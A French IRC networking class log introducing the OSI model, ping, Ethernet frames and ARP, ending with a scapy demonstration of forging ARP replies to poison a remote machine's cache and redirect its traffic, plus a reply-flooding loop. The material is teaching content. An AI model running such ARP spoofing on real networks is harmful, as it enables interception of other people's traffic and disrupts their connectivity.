U-Classroom : Les réseaux (@gapz)

d'après 2007-09-11-network.log

Bonsoir à toute et à tous, alors ce soir nous allons donc parler un petit peu des LANs.

Le but de cette initiation n'est pas de vous parlez de toute la theorie qui tourne autour, ni de vous presenter le fonctionnement dans sa globalité, mais plutot de vous expliquez quelques concepts qui vous ameneront à adopter un raisonnement logique et à vous posez des questions. En effet, ce domaine etant assez "complexe" (dans le sens ou il y a enormement de chose a savoir pour le maitriser dans sa globalité), il est beaucoup plus facile de l'aborder en se posant des questions et à comprendre par soi meme la logique du système.

Tout ce jolie discours pour vous dire que ce soir, c'est vous qui bosser! (Je m'excuse d'avance pour les innombrables fautes dont vous serrez témoin. Je ne suis pas non plus à l'abris de dire une connerie, donc n'hésiter pas à me corriger).

Et n'oubliez pas, n'hesitez pas à poser des questions, encore, encore et encore. Et essayer aussi, d'etre toujours dans le cadre de la dicussion les questions hors cadre auront lieu à la fin

Tout abord, avant d'attaquer dans le vif du sujet je vais devoir vous présenter quelques aspects theorique des réseaux (il est très difficile de presenter un aspect precis des réseaux pour des personnes qui ne connaissent pas les réseaux bien sur :)). Je supose que tout le monde ici imagine deja ce qu'est un reseau (juste une vague idée, pas besoin de savoir comment ca marche) ?

Donc donc, pour pouvoir faire communiquer des ordinateurs (d'une manière générale tout systeme disposant d'interface permettant de communiquer), il fallait bien definir (et normaliser) le principe de fonctionnement dans sa globalité.

Pour cela, a été effectué un decoupage logique des fonctionnalités principales dont le resultat est appelé "modèle en couche". De nos jours, il existe plusieur de ces modèles, mais celui qui est le plus utilisé reste TCP/IP. On peut aussi cité OSI qui est très utilisé à des fins pédagogique et qui présente beaucoup de similitude avec TCP/IP. ne partez pas, la pratique vient un peu apres ;)

Je vais maintenant vous parler rapidement du modèle OSI, histoire qu'on ai une vague idée du "à quoi sa sert ? Comment ca marche ?"

OSI, est donc un modèle en 7 couches qui sont (de haut en bas):

• application
• presentation
• session
• transport
• reseau
• laison de donnée
• physique

Chaque couche à un role particulier dont vous pouvez avoir un apercu ici: Modèle_OSI#Caractérisation résumée des couches

Pour mener à bien le travail que doit accomplir une couche, il existe toute une suite de protocole definis de maniere plus ou moins indépendante, et dont on peu leur definition dans les RFC (Request For Comment): ietf.org

Par exemple, la RFC du protocole ARP: http://www.ietf.org/rfc/rfc826.txt

Ceci est bien sur, présenter de manière très grossière et je vous epargnerais une presentation exhaustive du fonctionne "theorique" :P

Pour ceux qui se pose des questions quand meme, n'hesiter pas ! (Mais evitons de trop s'etendre sur des choses que vous découvrirez tout seul si vous vous y interessez un peu plus ;)) du fonctionnement**

** PAUSE **

Pour continuer dans les questions existentielles (et avant d'attaquer surtout la partie pratique), qu'est-ce qu'un LAN ?

Ce que j'entend par LAN, c'est un reseau informatique d'une taille plus ou moins grosse se situant dans une meme zone geographique. Un exemple de LAN serait, un petit réseau d'entreprise, *votre* réseau constitué de quelques machines (ou simplement une machine et votre boiboite). (pas forcement informatique sois dit en passant)

Plutot que de partir dans des explications qui ne s'en finirait pas, rentrons directement dans la pratique !!! Plein de point vont surement vous echapper, et j'attend donc vos questions. Soit deux machines (PC, imprimante, routeur, enfin tout ce qui possede une interface ethernet) relié directement par un cable (selon votre configuration, il peu etre croisé ou droit, voir coaxial si vous êtes un vieux fan des belles années). On admet que les adresses logique (appelé adresse IP pour nos autres utilisateurs de IPv4, en effet il en existe d'autre, dont je ne parlerais pas) sont dans le meme sous réseau (j'essaierai de détailler cette notion plus tard, ou tout de suite si tout le monde a envie). Soit par exemple, ma machine A avec l'adresse: 192.168.0.1 Et une machine B avec l'adresse: 192.168.0.2 (La partie adressage ne sera pas traité ici, trop théorique pour etre expliquée sur IRC, enfin, un jour peut etre)

bon, la je fais ca a la main donc ca va etre un peu moins rapide

l'adressage, c'est tout ce qui concerne l'attribution d'adresse logique avec IP, il y a plusieur classe d'adresse A, B, C et D qui ont des plages reservés en fonction des premiers bits de poids fort (si vous ne connaissez pas le binaire, il est pas trop tard pour apprendre)

les classes A, B et C peuvent etre utilisées de maniere classique dans un reseau local bien qu'il y ai des plages normalisé pour les réseaux privées je ne les ai pas en tete, mais c'est normalisé, donc vous retrouverer ca dans la norme qui va bien ;)

la classe D quand a elle, sert essentielement pour le multicast (j'en parlerais à la fin si j'ai le temps ;))

Donc nous reviendrons un peu apres à l'adressage Passons, à un exemple simple Nous allons essayer de comprendre maintenant qu'est-ce qu'il se passe quand nous tapons la commande:

$ ping -c 2 192.168.0.2 # (à partir de 192.168.0.1)

Avant tout, histoire de pas etre perdu dans toute les notions que je ne vais pas expliquer tout de suite, à quoi sert la commande ping ? En fait, elle sert à tester la connectivité entre deux machines (la plupart du temps). Il utilise pour cela le protocole ICMP qui est decrit dans la RFC 777. Le fonctionnement en detail ici nous importe peu. (Pour les curieux, le -c 2 indique d'envoyer juste deux requetes ICMP ECHO) ICMP ca veut dire: Internet Control Message Protocol c'est decrit dans la RFC 792

Donc donc, apres cette belle commande, vous devriez avoir un truc du style:

PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=255 time=0.274 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=255 time=0.262 ms
--- 192.168.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 0.262/0.268/0.274/0.006 ms

Pour interpreter cela grossierement, on va dire que: "ca marche". Dans un cas contraire, on aurait pue avoir une reponse du style:

PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
From 192.168.0.3 icmp_seq=1 Destination Host Unreachable
From 192.168.0.3 icmp_seq=2 Destination Host Unreachable
--- 192.168.0.2 ping statistics ---
2 packets transmitted, 0 received, +2 errors, 100% packet loss, time
1014ms, pipe 2

bien sur "Destination Host Unreachable" est un message d'erreur specifique qui peut servir a diagnostiquer le probleme Mais ce n'est pas ca qui nous interesse ici

Bref, pour le moment essayons plutot de comprendre comment l'echange est réalisé. Pour cela, je vais introduire une nouvelle notion, celle de "trame". Pour eviter de rentrer dans les details je vais comparer une "trame" à une lettre qu'on doit poster. Pour pouvoir envoyer une trame il faut donc: une adresse "physique" source, une adresse "physique" de destination et des données (l'adresse physique, c'est l'adresse MAC de votre carte reseau, elle est unique: ifconfig, champs HWaddr). Cette trame est composé d'autre "champs", nous verrons lesquels un peu apres. (Pour les préssés, allez voir la norme IEEE 802.3) (ca va vite les ralentir :P)

Il nous faut donc une adresse "physique" de destination. Seulement voila, lorsqu'un on tape " ping 192.168.0.2 ", on specifie une adresse logique de destination. Il va donc falloir trouver un moyen pour faire la correspondance entre adresse logique et adresse physique.

parlons des choses qui fache

C'est donc le protocole ARP (Address Resolution Protocol) qui permet de faire cette association. Il maintient pour cela une table avec les correspondances @logique - @physique.

Revenons donc le moment juste après que l'on est tapé notre commande. Tout d'abord, il y a une verification de la table ARP pour savoir s'il n'y a pas d'adresse physique en correspondance avec notre adresse logique. Admettons que non. ARP entreprend alors d'obtenir l'adresse physique de destination au moyen d'une requete simple: "A qui appartient cette @#! d'adresse logique 192.168.0.2 ?" Et cette belle trame est envoyé à "tout le monde", soit une adresse physique de destination qui est composé de: "FF:FF:FF:FF:FF:FF" (on appel cela un broadcast).

Les stations qui vont recevoir cette trame, vont se dire "tiens c'est pour moi", vont regarder la requete ARP, verifier que c'est leur adresse physique qu'on veut savoir (il suffit de regarder le champ: adresse logique de destination contenue dans la requete ARP), et renvoyer une reponse: "192.168.0.2 est à 00:C0:A8:F4:6A:74" par exemple.

Si la requete ne nous est pas destinée (cad si l'adresse logique de destination contenue dans la requete ARP n'est pas la notre) alors elle sera tout simplement ignorée.

Une fois l'adresse physique de destination recupérée, notre trame pourra alors être envoyé au bon destinataire. On pourra noté qu'ARP aura pris soin d'ajouter la correspondance @logique→@physique dans sa table. Pour pouvoir voir cette table, mettez un petit coup de "arp -a" dans votre shell, ou bien "cat /proc/net/arp". Pour le reste, man arp ;)

Comme vous l'aurait compris, s'en suit ensuite quelques echanges correspondant à l'outil ping (protocole ICMP toussa ;))

Analysons un plus en details une trame, notamment celle avec notre requete ARP. Pour cela, vous avez besoin d'un sniffeur de paquet (qui permet simplement "d'ecouter" les paquets qui passe sur une interface et de les analyser ensuite). Le plus simple mais aussi un des plus performants est Ethereal, plus connu maintenant sous le nom de Wireshark (un petit coup d'apt-get install s'impose pour ceux qui ne l'ont pas bien sur). Si vous vous sentez l'ame d'un bricoleur vous pouvez toujours vous servir de tcpdump, qui est lui aussi extremement performant.

Tout d'abord, enlever de votre table ARP la correspondance avec l'hote que nous voulons joindre. Par exemple 192.168.0.1:

  # arp -d 192.168.0.1

Maintenant, lancer la capture de paquet avec votre sniffeur. Par exemple avec wireshark: Ctrl+k puis choissez l'interface qui va bien et "Start". Pour ceux qui ne pourrais pas "simuler" cette situation, voici un exemple de fichier contenant un echange réaliser chez moi:

donc, tout ce qu'on va voir la est normalisé la taille des champs, le type, les differentes valeurs etc

nous allons juste détailler quelques trames pour bien comprendre le concept d'echange de "couche" 2

(s'il y a encore des survivants)

Donc, regardons un peu la premiere trame
on peut observer comment est former une trame type ethernet V2
@source @destination @sap @donnee

donc, source et destination vous connaissez deja

le SAP, je sais pas si on l'appel comme ca a ce niveau c'est Service Access Point
ca permet de dire, les données qui vont suivre sont destinée à tel service toute une game de valeur existe
ici c'est 806 qui correspond a ARP
on aurait pue avoir 800 pour IPv4 par exemple et bien d'autres

###[ Ethernet ]### 
   dst= ff:ff:ff:ff:ff:ff 
   src= 00:c0:a8:f4:6a:74 
   type= 0x806
###[ ARP ]### 
   hwtype= 0x1 
   ptype= 0x800 
   hwlen= 6
   plen= 4
   op= who-has
   hwsrc= 00:c0:a8:f4:6a:74
   psrc= 192.168.0.3
   hwdst= 00:00:00:00:00:00
   pdst= 192.168.0.1

le champs ether type tout le monde a compris

type= 0x806

bon passons a un autre champ

on va passer dans l'entete du protocole ARP en gros :

  [ ENTETE Ethernet ] [ DONNEE ]
  [ ENTETE Ethernet ] [ ENTETE ARP ] [ DONNEE ]

bon sauf qu'ici DONNEE ne correspond a rien, mais n'y preter pas attention
donc, l'entete ARP

Les champs qui nous interesse réellement sont:

En type de message, on peut avoir "who-has" et "is-at" qui correspondent simplement a une requete et une reponse

Maintenant, la question qui TUE
A votre avis, pourquoi on respecifie @source dans l'entete ARP ?

si vous avez plusieurs machine sur votre reseau, vous pouvez le faire
mais ne le faite pas avec votre routeur quoi :)
(enfin, vous perderez internet pour quelques secondes)

donc deja il faut python d'install
apres, dl la derniere version de scapy (merci Mr Biondi)

wget scapy.net

sudo -s
cp scapy.py /usr/local/bin
chmod +x # si il y a besoin toussa

Bref
Notre but ici va donc etre de corrompre un cache ARP sur une machine distante

Imaginons la situation suivante:

Admettons que l'ont veut rediriger tout le traffic qui passe de A vers B
en un traffic qui va de A vers C (la machine de l'attaquant)

on pourrait meme apres rediriger vers B avec une petite regle iptables qui va bien
enfin, il y a d'autre nuance
pour le moment, construisons un faux reply ARP

Bon
FiFouille: :)
lancons scapy en root
Tout abord, il va nous falloir builder notre reply ARP
pour cela:
(un truc pas default pour le moment)

  >>> pk=Ether()/ARP()
  >>> pk.show()

  ###[ Ethernet ]### 
    dst= 00:04:ac:bd:39:0e 
    src= 00:c0:a8:f4:6a:74 
    type= 0x806
  ###[ ARP ]### 
    hwtype= 0x1 
    ptype= 0x800 
    hwlen= 6 
    plen= 4 
    op= who-has 
    hwsrc= 00:c0:a8:f4:6a:74
    psrc= 192.168.0.3 
    hwdst= 00:00:00:00:00:00
    pdst= 0.0.0.0

  >>> pk.dst="00:00:00:00:00:11"
  >>> pk.dst
  '00:00:00:00:00:11'

  >>> pk['ARP'].op="is-at"

je crois q'une mise au point est necessaire

on peut changer l'adresse physique de B dans le cache de A en notre adresse physique de maniere a faire envoyer A le traffic destiné à B, vers notre propre machine

normalement, cela devrait ressembler a cela:

>>> pk.show()
###[ Ethernet ]###
  dst= 00:00:00:00:00:11
  src= 00:c0:a8:f4:6a:74
  type= 0x806
###[ ARP ]###
     hwtype= 0x1
     ptype= 0x800
     hwlen= 6
     plen= 4
     op= is-at
     hwsrc= 00:c0:a8:f4:6a:74
     psrc= 192.168.0.3
     hwdst= 00:00:00:00:00:22
     pdst= 192.168.0.2

>>> sendp(pk)

arp reply 192.168.0.3 is-at 00:c0:a8:f4:6a:74

et dans le cache de A, devrait etre modif l'adresse physique de B seulement il se peut que plusieurs envoie periodique remodifie ce champ vous pouvez donc l'envoyer aussi peridiquement

par exemple, pour blinder votre reseau de reply arp:

while 1: sendp(pk)

(A NE PAS FAIRE)